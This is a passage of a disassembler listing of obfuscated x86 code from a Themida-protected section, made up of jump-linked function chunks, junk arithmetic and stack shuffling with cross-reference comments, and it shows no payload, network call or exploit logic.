; END OF FUNCTION CHUNK FOR sub_59FA27
; ---------------------------------------------------------------------------
loc_5A1DF6: ; CODE XREF: Themida_:0059D912j
add bh, 5Ch
xor dl, bh
mov bx, [esp]
add esp, 2
jmp loc_594EFA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59A958
loc_5A1E0A: ; CODE XREF: sub_59A958-1F46j
pop edi
jmp loc_5A0B37
; END OF FUNCTION CHUNK FOR sub_59A958
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A1E10: ; CODE XREF: sub_59390B+612Bj
pop ebp
push edi
push edx
jmp loc_59BBC3
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59F53F
loc_5A1E18: ; CODE XREF: sub_59F53F-1B46j
pop esp
idiv ecx
push ebx
mov ebx, esp
add ebx, 4
push edi
sub esp, 4
mov [esp-8+arg_4], ebp
push 440251E2h
jmp loc_592B3E
; END OF FUNCTION CHUNK FOR sub_59F53F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A17BF
loc_5A1E38: ; CODE XREF: sub_5A17BF-25E3j
inc edx
push ebp
push ecx
mov ecx, 4D09D758h
mov ebp, ecx
jmp loc_5954E8
; END OF FUNCTION CHUNK FOR sub_5A17BF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59A072
loc_5A1E47: ; CODE XREF: sub_59A072-AA7j
jmp loc_590A9B
; END OF FUNCTION CHUNK FOR sub_59A072
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A1E4C: ; CODE XREF: sub_59390B-1984j
mov edi, [esp-0Ch+arg_4]
add esp, 4
loc_5A1E52: ; CODE XREF: Themida_:005997E9j
push ebp
push esp
jmp loc_5949C2
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_5A1E59: ; CODE XREF: Themida_:005A0BCCj
mov ebx, [esp]
add esp, 4
add esi, ecx
pop ecx
xchg esi, [esp]
pop esp
xor ebx, eax
xor edx, eax
jmp loc_590A9B
; ---------------------------------------------------------------------------
loc_5A1E6F: ; CODE XREF: Themida_:00598553j
sub ebp, esi
jmp loc_597328
; =============== S U B R O U T I N E =======================================
sub_5A1E76 proc near ; CODE XREF: sub_5A0BFE+DEEj
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0059E16C SIZE 00000056 BYTES
; FUNCTION CHUNK AT 0059FE73 SIZE 0000000B BYTES
sub esp, 4
mov [esp+4+var_4], esi
jmp loc_59E16C
sub_5A1E76 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5932F7
loc_5A1E81: ; CODE XREF: sub_5932F7+110D1j
pop edi
add ecx, 4
push ecx
push dword ptr [esp+4]
pop ecx
jmp loc_59A4A2
; END OF FUNCTION CHUNK FOR sub_5932F7
; ---------------------------------------------------------------------------
loc_5A1E93: ; CODE XREF: Themida_:005996E7j
pop ecx
mov ebp, [esp]
sub esp, 4
mov [esp], esi
jmp loc_59A838
; ---------------------------------------------------------------------------
loc_5A1EA2: ; DATA XREF: Themida_:005909E4o
push dword ptr [esp]
push dword ptr [esp]
jmp loc_59CCB8
; ---------------------------------------------------------------------------
loc_5A1EAD: ; CODE XREF: Themida_:0059FAA0j
sub esi, eax
pop eax
xchg esi, [esp]
pop esp
mov [esp], eax
jmp loc_59E1E5
; ---------------------------------------------------------------------------
loc_5A1EBC: ; CODE XREF: Themida_:005A451Ej
mov [esp], ebp
mov ebp, 5C4A2709h
push 8F9E6AFh
mov edi, [esp]
add esp, 4
add edi, ebp
pop ebp
xor eax, edi
pop edi
sub edx, 4F60091Ah
add edx, 2E241A6Ch
add edx, eax
sub edx, 2E241A6Ch
push ecx
mov ecx, 4F60091Ah
jmp loc_59F4FE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A4CDD
loc_5A1EF7: ; CODE XREF: sub_5A4CDD-A12Bj
push eax
mov eax, 760E70C6h
not eax
push ecx
mov ecx, 0BAA733Fh
neg ecx
not ecx
inc ecx
jmp loc_59DCEF
; END OF FUNCTION CHUNK FOR sub_5A4CDD
; ---------------------------------------------------------------------------
loc_5A1F0F: ; CODE XREF: Themida_:0059D617j
push ebx
jmp loc_59DD48
; ---------------------------------------------------------------------------
loc_5A1F15: ; CODE XREF: Themida_:00599AAEj
pop esi
push ecx
pop ebp
jmp loc_59C872
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A1F1D: ; CODE XREF: sub_59390B+E2D7j
sub ebx, 5A712E29h
mov edx, [esp-10h+arg_8]
jmp loc_5A1069
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_5A1F2B: ; CODE XREF: Themida_:005A51D2j
push dword ptr [esp]
pop edx
add esp, 4
push ebp
jmp loc_5A0845
; ---------------------------------------------------------------------------
loc_5A1F38: ; CODE XREF: Themida_:0059D6B5j
sub ecx, 0DFDB7AF4h
xor edx, ecx
pop ecx
sub edx, 3657D4BDh
push ecx
mov ecx, 691C1731h
sub esi, ecx
push dword ptr [esp]
jmp loc_5935D3
; ---------------------------------------------------------------------------
loc_5A1F57: ; CODE XREF: Themida_:00592064j
mov [esp], esp
add dword ptr [esp], 4
mov edx, [esp]
add esp, 4
push edi
mov edi, 4
add edx, edi
pop edi
push edi
mov edi, 4
sub edx, 166A29A6h
jmp loc_596EA0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A1F81: ; CODE XREF: sub_59390B+C0C6j
xchg esi, [esp+10h+var_10]
pop esp
mov [esp+0Ch+var_C], esi
jmp loc_592AC2
; ---------------------------------------------------------------------------
loc_5A1F8D: ; CODE XREF: sub_59390B+1020Bj
dec edx
add edx, 0B7AE1028h
push ebx
mov ebx, edx
mov esi, ebx
pop ebx
jmp loc_5A42C3
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_597C8E
loc_5A1F9F: ; CODE XREF: sub_597C8E+376Cj
mov [esp+0], edx
push ecx
mov ecx, 48244156h
mov edx, ecx
jmp loc_5A475F
; END OF FUNCTION CHUNK FOR sub_597C8E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59E918
loc_5A1FAF: ; CODE XREF: sub_59E918-549j
xchg edi, [esp]
pop esp
jmp loc_59837C
; END OF FUNCTION CHUNK FOR sub_59E918
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_599AE1
loc_5A1FB8: ; CODE XREF: sub_599AE1+A415j
pop edi
xor edi, 20C624A6h
jmp loc_595164
; END OF FUNCTION CHUNK FOR sub_599AE1
; ---------------------------------------------------------------------------
loc_5A1FC4: ; CODE XREF: Themida_:00591E25j
mov edx, 3752263Bh
mov esi, 0C8ADD9C9h
add esi, edx
pop edx
add edx, esi
pop esi
jmp loc_595BF7
; ---------------------------------------------------------------------------
loc_5A1FD9: ; CODE XREF: Themida_:0059CB84j
xchg ecx, [esp]
mov esp, [esp]
push dword ptr [esp]
pop ecx
push eax
push 748Ch
jmp loc_59315C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_591FE1
loc_5A1FEE: ; CODE XREF: sub_591FE1+F4FFj
mov [esp+4+var_4], eax
jmp loc_5938E9
; END OF FUNCTION CHUNK FOR sub_591FE1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59A4D6
loc_5A1FF6: ; CODE XREF: sub_59A4D6-4E78j
mov edx, 9DDADF37h
push ebx
mov ebx, 57A86A9Bh
xor ebx, 639556C4h
sub ebx, 791F6C2Fh
xor ebx, 0CAE8BAF7h
sub edx, ebx
jmp loc_5A2CCC
; END OF FUNCTION CHUNK FOR sub_59A4D6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A16B7
loc_5A201A: ; CODE XREF: sub_5A16B7+Cj
sub ebp, 0E7CFDA6Bh
add edx, ebp
jmp loc_5930D7
; END OF FUNCTION CHUNK FOR sub_5A16B7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59822A
loc_5A2027: ; CODE XREF: sub_59822A+BC8j
push ecx
push 2
push [esp+8+var_8]
pop ecx
add esp, 4
add eax, ecx
jmp loc_591212
; END OF FUNCTION CHUNK FOR sub_59822A
; ---------------------------------------------------------------------------
loc_5A203B: ; CODE XREF: Themida_:00591BE0j
add edx, ecx
add edx, 69A6BA3h
pop ecx
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
pop esp
pop dword ptr [esp]
mov esp, [esp]
mov [esp], eax
push dword ptr [esp]
pop ebx
push edx
mov edx, esp
add edx, 4
jmp loc_59EAAB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A2069: ; CODE XREF: sub_59390B+C546j
mov [esp+0], esi
mov esi, 439B1336h
mov ecx, esi
jmp loc_595375
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_5A2078: ; CODE XREF: Themida_:005A0BD5j
not dword ptr [esp]
pop ecx
jmp loc_5A32E8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A51EA
loc_5A2081: ; CODE XREF: sub_5A51EA-10C1Bj
sub al, 0CFh
mov ebx, [esp-4+arg_0]
add esp, 4
push dword ptr [esp+0]
mov ecx, [esp-4+arg_0]
add esp, 4
jmp loc_59E7F7
; END OF FUNCTION CHUNK FOR sub_5A51EA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A2097: ; CODE XREF: sub_59390B+D1FEj
xor ebx, ecx
jmp loc_596F0D
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59EA40
loc_5A209E: ; CODE XREF: sub_59EA40-6C96j
pop esi
xor edx, 1BA3BB15h
mov edi, edx
jmp loc_591E98
; END OF FUNCTION CHUNK FOR sub_59EA40
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A20AC: ; CODE XREF: sub_59390B+7444j
add eax, 3199541Eh
sub eax, ebx
push ebx
jmp loc_599B1B
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_5A20B9: ; CODE XREF: Themida_:00594582j
add ebp, 4
push ebp
push dword ptr [esp+4]
pop ebp
pop dword ptr [esp]
pop esp
add ebx, ecx
pop ecx
xor ebx, [esp]
xor [esp], ebx
xor ebx, [esp]
pop esp
xor [esp], ax
pushf
jmp loc_590A9B
; ---------------------------------------------------------------------------
loc_5A20E0: ; CODE XREF: Themida_:0059F192j
inc edx
shl edx, 4
sub edx, 2923A541h
add esi, 61A257A3h
add esi, edx
jmp loc_59357C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59E918
loc_5A20F7: ; CODE XREF: sub_59E918-9B5j
push 0E52344Ah
pop edx
not edx
push ebx
sub esp, 4
mov [esp+18h+var_18], esi
push 35378D0h
jmp loc_5A0031
; END OF FUNCTION CHUNK FOR sub_59E918
; ---------------------------------------------------------------------------
loc_5A2110: ; CODE XREF: Themida_:005A3049j
add al, 7Bh
add al, bl
sub al, 7Bh
push edx
mov dl, 0B1h
jmp loc_59A14A
; ---------------------------------------------------------------------------
loc_5A211E: ; CODE XREF: Themida_:00591D30j
push ebx
jmp loc_598DD9
; ---------------------------------------------------------------------------
loc_5A2124: ; CODE XREF: Themida_:0059D4A1j
pop ebx
push ebx
push esp
mov ebx, [esp]
add esp, 4
sub esp, 4
mov [esp], eax
mov eax, 4
jmp loc_598837
; ---------------------------------------------------------------------------
loc_5A213D: ; CODE XREF: Themida_:005951D9j
push ebx
pop eax
pop ebx
jmp loc_59F71C
; ---------------------------------------------------------------------------
loc_5A2145: ; CODE XREF: Themida_:0059FE01j
add edi, edx
mov edx, [esp]
add esp, 4
xor edi, [esp]
xor [esp], edi
xor edi, [esp]
mov esp, [esp]
jmp loc_590A9B
; ---------------------------------------------------------------------------
loc_5A215E: ; CODE XREF: Themida_:0059F998j
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
jmp loc_59A43F
; ---------------------------------------------------------------------------
loc_5A2172: ; CODE XREF: Themida_:005A18C9j
mov eax, esp
add eax, 4
push esi
mov esi, 4
add eax, esi
pop esi
push eax
push dword ptr [esp+4]
mov eax, [esp]
add esp, 4
pop dword ptr [esp]
pop esp
jmp loc_590A9B
; =============== S U B R O U T I N E =======================================
sub_5A2196 proc near ; CODE XREF: sub_59390B+7338j
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00596AC1 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 0059ACB3 SIZE 0000002B BYTES
push ebx
jmp loc_596AC1
sub_5A2196 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A219C: ; CODE XREF: sub_59390B-FD8j
xor eax, [esp-10h+arg_8]
xor [esp-10h+arg_8], eax
xor eax, [esp-10h+arg_8]
mov esp, [esp-10h+arg_8]
mov word ptr [esp-10h+arg_8], cx
jmp loc_5930E3
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5971C0
loc_5A21B1: ; CODE XREF: sub_5971C0+CC6Bj
push eax
jmp loc_59BFEF
; END OF FUNCTION CHUNK FOR sub_5971C0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_592A27
loc_5A21B7: ; CODE XREF: sub_592A27+92EEj
push 1DD7h
jmp loc_594016
; END OF FUNCTION CHUNK FOR sub_592A27
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A21C1: ; CODE XREF: sub_59390B-177Aj
sub edi, 2F071853h
sub edi, 6D1C5526h
pop esi
jmp loc_59D745
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59338E
loc_5A21D3: ; CODE XREF: sub_59338E+6949j
mov esp, [esp+0]
push [esp-4+arg_0]
jmp loc_5A1268
; END OF FUNCTION CHUNK FOR sub_59338E
; =============== S U B R O U T I N E =======================================
sub_5A21DE proc near ; CODE XREF: sub_5947CA-32DBj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 005915CA SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059712E SIZE 0000003A BYTES
; FUNCTION CHUNK AT 005987CA SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0059995F SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0059BF44 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 0059D014 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A15D4 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005A2FD0 SIZE 0000000F BYTES
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp+4+var_4]
pop esp
xchg eax, [esp+0]
pop esp
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp+0]
pop esp
push 0E3Eh
jmp loc_59BF44
sub_5A21DE endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A220F: ; CODE XREF: sub_59390B+4322j
pop eax
sub bl, cl
mov ecx, [esp-28h+arg_20]
add esp, 4
sub esp, 2
jmp loc_59F1FD
; ---------------------------------------------------------------------------
loc_5A2226: ; CODE XREF: sub_59390B+9358j
pop esp
mov eax, [esp+10h+var_10]
add esp, 4
jmp loc_5A2DBF
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_5A2232: ; CODE XREF: Themida_:005A5485j
mov eax, [esp]
push esi
mov esi, esp
add esi, 4
sub esi, 4
xor esi, [esp]
jmp loc_5A3C23
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A113A
loc_5A224C: ; CODE XREF: sub_5A113A-4FFBj
add ebx, ebp
mov ebp, [esp+0Ch+var_C]
push edx
mov edx, esp
add edx, 4
sub esp, 4
mov [esp+14h+var_14], esi
mov esi, 4
add edx, esi
pop esi
xchg edx, [esp+10h+var_10]
pop esp
push ebx
push [esp+10h+var_C]
mov ebx, [esp+14h+var_14]
push edx
push esp
mov edx, [esp+1Ch+var_1C]
jmp loc_59F811
; END OF FUNCTION CHUNK FOR sub_5A113A
; ---------------------------------------------------------------------------
loc_5A227E: ; CODE XREF: Themida_:0059AF1Ej
push 1896h
mov [esp], ebp
push 2CCh
mov [esp], esp
push 2BF7h
jmp loc_59EF4C
; ---------------------------------------------------------------------------
loc_5A2298: ; CODE XREF: Themida_:00597EC6j
add esp, 4
push edx
push 410Bh
mov [esp], ebx
mov edx, [esp]
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
pop ebx
xor edx, 5F5D1812h
sub eax, 196B104Eh
add eax, edx
add eax, 196B104Eh
push dword ptr [esp]
push dword ptr [esp]
jmp loc_59235E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A22D8: ; CODE XREF: sub_59390B+6D8Dj
mov eax, [esp+0Ch+var_C]
push 2715h
jmp loc_5A3379
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59B2AF
loc_5A22E5: ; CODE XREF: sub_59B2AF+17j
xchg eax, [esp+8+var_8]
jmp loc_5A2823
; END OF FUNCTION CHUNK FOR sub_59B2AF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59A431
loc_5A22ED: ; CODE XREF: sub_59A431+2759j
add esi, ecx
sub esi, 29DF605Ah
push [esp+0Ch+var_C]
pop ecx
add esp, 4
push esi
push [esp+0Ch+var_8]
mov esi, [esp+10h+var_10]
add esp, 4
jmp loc_591465
; END OF FUNCTION CHUNK FOR sub_59A431
; ---------------------------------------------------------------------------
loc_5A2312: ; CODE XREF: Themida_:00592835j
sub edi, 4
xchg edi, [esp]
mov esp, [esp]
mov [esp], esi
mov esi, esp
sub esp, 4
mov [esp], edx
mov edx, 2DC2447Dh
and edx, 5CC93379h
neg edx
and edx, 79BF4DCCh
sub edx, 713F4D80h
add esi, edx
pop edx
push ebp
jmp loc_596E85
; ---------------------------------------------------------------------------
loc_5A234B: ; CODE XREF: Themida_:00598996j
mov edx, [esp]
add esp, 4
jmp loc_59BE6B
; ---------------------------------------------------------------------------
loc_5A2359: ; CODE XREF: Themida_:0059C6D4j
mov [esp], edi
jmp loc_599A6D
; ---------------------------------------------------------------------------
loc_5A2361: ; CODE XREF: Themida_:0059F666j
jmp loc_590A9B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A2366: ; CODE XREF: sub_59390B-2442j
add esi, eax
pop eax
mov edx, [esp-0Ch+arg_4]
add esp, 4
jmp loc_59DEEA
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_5A2374: ; CODE XREF: Themida_:0059E55Aj
mov ecx, 64E67391h
push ebx
mov ebx, 2C8665ECh
xor ebx, 5BAD6381h
sub ebx, 60A1C955h
jmp loc_594FF2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A2390: ; CODE XREF: sub_59390B+10E21j
shr ebx, 7
sub ebx, 3D604A6Ch
inc ebx
inc ebx
jmp loc_592938
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_5A23A0: ; CODE XREF: Themida_:0059F28Fj
inc eax
xor eax, 57E11083h
or eax, 342C040Fh
jmp loc_59A3C9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A23B0: ; CODE XREF: sub_59390B+11243j
xor esi, 2D9B53C6h
sub esp, 4
mov [esp-0Ch+arg_4], ebx
mov ebx, 78130FABh
jmp loc_59FF3E
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_5A23C9: ; CODE XREF: Themida_:00596C90j
dec ecx
jmp loc_59B9F4
; ---------------------------------------------------------------------------
loc_5A23CF: ; CODE XREF: Themida_:00592359j
push eax
push 57937CE1h
pop eax
add eax, 0BC26C918h
mov edx, eax
jmp loc_59328B
; ---------------------------------------------------------------------------
loc_5A23E2: ; CODE XREF: Themida_:0059BB21j
mov [esp], esp
add dword ptr [esp], 4
pop ecx
push 355Fh
jmp loc_592FE6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59FCCB
loc_5A23F4: ; CODE XREF: sub_59FCCB-2F38j
pop cx
jmp loc_5A3337
; END OF FUNCTION CHUNK FOR sub_59FCCB
; =============== S U B R O U T I N E =======================================
sub_5A23FB proc near ; CODE XREF: sub_59390B-2CC1j
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
; FUNCTION CHUNK AT 00592B5C SIZE 0000001F BYTES
; FUNCTION CHUNK AT 005931C6 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0059718D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00597B7A SIZE 0000003F BYTES
; FUNCTION CHUNK AT 00597F94 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 00599B5D SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059A41F SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0059A656 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059CAE4 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0059D25A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059D8A8 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0059E8F8 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A1671 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 005A2446 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A4325 SIZE 00000044 BYTES
; FUNCTION CHUNK AT 005A508A SIZE 0000001E BYTES
sub esp, 4
mov [esp-0Ch+arg_8], ebx
mov ebx, 493C6FD8h
push ebp
jmp loc_59A41F
sub_5A23FB endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A240F: ; CODE XREF: sub_59390B+88DBj
shl dl, 5
dec dl
not dl
neg dl
shr dl, 5
shl dl, 2
push ecx
mov ch, 98h
push ebx
mov bh, 99h
add ch, bh
pop ebx
jmp loc_59B957
; ---------------------------------------------------------------------------
loc_5A242C: ; CODE XREF: sub_59390B+1A03j
xor ebx, esi
pop esi
jmp loc_59292F
; ---------------------------------------------------------------------------
loc_5A2434: ; CODE XREF: sub_59390B+7ADj
mov eax, edx
jmp loc_59560F
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_5A243B: ; CODE XREF: Themida_:005A11E6j
pop dword ptr [esp]
mov esp, [esp]
jmp loc_59FDE6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A23FB
loc_5A2446: ; CODE XREF: sub_5A23FB-A44Dj
add eax, 23D70941h
pop ebp
jmp loc_59E8F8
; END OF FUNCTION CHUNK FOR sub_5A23FB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59CAFB
loc_5A2451: ; CODE XREF: sub_59CAFB+5C82j
push 4
jmp loc_5A1132
; END OF FUNCTION CHUNK FOR sub_59CAFB
; ---------------------------------------------------------------------------
loc_5A245B: ; CODE XREF: Themida_:0059F89Bj
mov [esp], edi
mov edi, 818FD0Bh
add ebx, edi
pop edi
xor ecx, ebx
mov ebx, [esp]
add esp, 4
mov [edi+20h], ecx
pop ecx
neg dword ptr [edi+20h]
push eax
mov eax, 20h
add eax, edi
jmp loc_5A304E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_591FC5
loc_5A2482: ; CODE XREF: sub_591FC5+11049j
push eax
mov ah, 4Ch
jmp loc_5A0ADB
; END OF FUNCTION CHUNK FOR sub_591FC5
; ---------------------------------------------------------------------------
loc_5A248A: ; CODE XREF: Themida_:005A144Dj
push ebx
mov ebx, 15553629h
jmp loc_59F570
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_594DA8
loc_5A2495: ; CODE XREF: sub_594DA8+9491j
push [esp+8+var_8]
mov ebx, [esp+0Ch+var_C]
jmp loc_59C42A
; END OF FUNCTION CHUNK FOR sub_594DA8
; ---------------------------------------------------------------------------
loc_5A24A0: ; CODE XREF: Themida_:005A492Aj
pop esp
mov [esp], cx
jmp loc_590A9B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59A75E
loc_5A24AA: ; CODE XREF: sub_59A75E+1FACj
inc eax
xor eax, 73F1479h
add ecx, eax
pop eax
add ecx, 2
xchg ecx, [esp+2+var_4+2]
jmp loc_59BA28
; END OF FUNCTION CHUNK FOR sub_59A75E
; ---------------------------------------------------------------------------
loc_5A24BE: ; CODE XREF: Themida_:0059B8C2j
push 274C2A90h
pop ecx
xor ecx, 274C2A92h
mov ebx, ecx
pop ecx
push ebx
mov ebx, 62191457h
add ebx, 1CC31B1Bh
jmp loc_59B2EC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A09BC
loc_5A24DE: ; CODE XREF: sub_5A09BC-B3C7j
mov eax, ebp
pop ebp
shr eax, 4
or eax, 2E175DF8h
neg eax
inc eax
add eax, 52AB6761h
jmp loc_598CAB
; END OF FUNCTION CHUNK FOR sub_5A09BC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A24F6: ; CODE XREF: sub_59390B+F545j
pop ecx
jmp loc_5A14EF
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A3EFB
loc_5A24FC: ; CODE XREF: sub_5A3EFB-ADF7j
shl ebx, 5
xor ebx, 65E91ACCh
add ebx, 20346351h
add ecx, ebx
pop ebx
mov ebp, ecx
pop ecx
push ebp
not dword ptr [esp+0]
push dword ptr [esp+0]
pop ebp
add esp, 4
jmp loc_593900
; END OF FUNCTION CHUNK FOR sub_5A3EFB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A2524: ; CODE XREF: sub_59390B+9C25j
pop esp
push esi
push 0
pop esi
sub esi, edi
xchg esi, edi
pop esi
or edi, 5E13512Ah
dec edi
sub edi, 1
push 6177h
mov [esp-14h+arg_C], eax
mov eax, 9350FAD4h
add edi, eax
mov eax, [esp-14h+arg_C]
jmp loc_5A4C8E
; END OF FUNCTION CHUNK FOR sub_59390B
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_5A2552 proc near ; CODE XREF: sub_59390B+618Fj
; FUNCTION CHUNK AT 0059380C SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005978A8 SIZE 00000034 BYTES
; FUNCTION CHUNK AT 00599E8C SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0059D390 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0059F00B SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A59CC SIZE 00000013 BYTES
push ebp
mov ebp, esp
add ebp, 4
push edi
mov edi, 1F110948h
shl edi, 8
jmp loc_5978A8
sub_5A2552 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59A4D6
loc_5A2569: ; CODE XREF: sub_59A4D6-3BA1j
sub ebx, 557275EEh
add ebx, esi
jmp loc_599639
; END OF FUNCTION CHUNK FOR sub_59A4D6
; ---------------------------------------------------------------------------
loc_5A2576: ; CODE XREF: Themida_:0059261Aj
pop edx
add ebx, 4CD82756h
jmp loc_5A0120
; ---------------------------------------------------------------------------
loc_5A2582: ; CODE XREF: Themida_:005912B6j
pop ecx
add ebx, eax
add ebx, 14BF68F9h
sub ebx, 478D574Fh
push edi
mov edi, 61DC0069h
add ebx, edi
mov edi, [esp]
add esp, 4
jmp loc_5A55A5
; ---------------------------------------------------------------------------
loc_5A25A7: ; CODE XREF: Themida_:005996B1j
push 6275h
mov [esp], esp
add dword ptr [esp], 4
pop edi
add edi, 4
jmp loc_59D20D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59918B
loc_5A25BF: ; CODE XREF: sub_59918B+ACEFj
push esp
jmp loc_59986B
; END OF FUNCTION CHUNK FOR sub_59918B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A25C5: ; CODE XREF: sub_59390B+5C6Fj
mov edx, [esp-10h+arg_8]
add esp, 4
or eax, eax
jz sub_59CAFB
push ebx
mov ebx, esp
add ebx, 4
sub ebx, 4
push ebx
push [esp-0Ch+arg_8]
push [esp-8+arg_0]
mov ebx, [esp+0]
sub esp, 4
mov [esp+0], edx
mov edx, esp
add edx, 4
jmp loc_59971C
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59E918
loc_5A2606: ; CODE XREF: sub_59E918-9E04j
xor dl, 6Bh
mov ch, dl
pop edx
push bx
jmp loc_596032
; END OF FUNCTION CHUNK FOR sub_59E918
; ---------------------------------------------------------------------------
loc_5A2613: ; CODE XREF: Themida_:005A3EC5j
mov esi, 1080305h
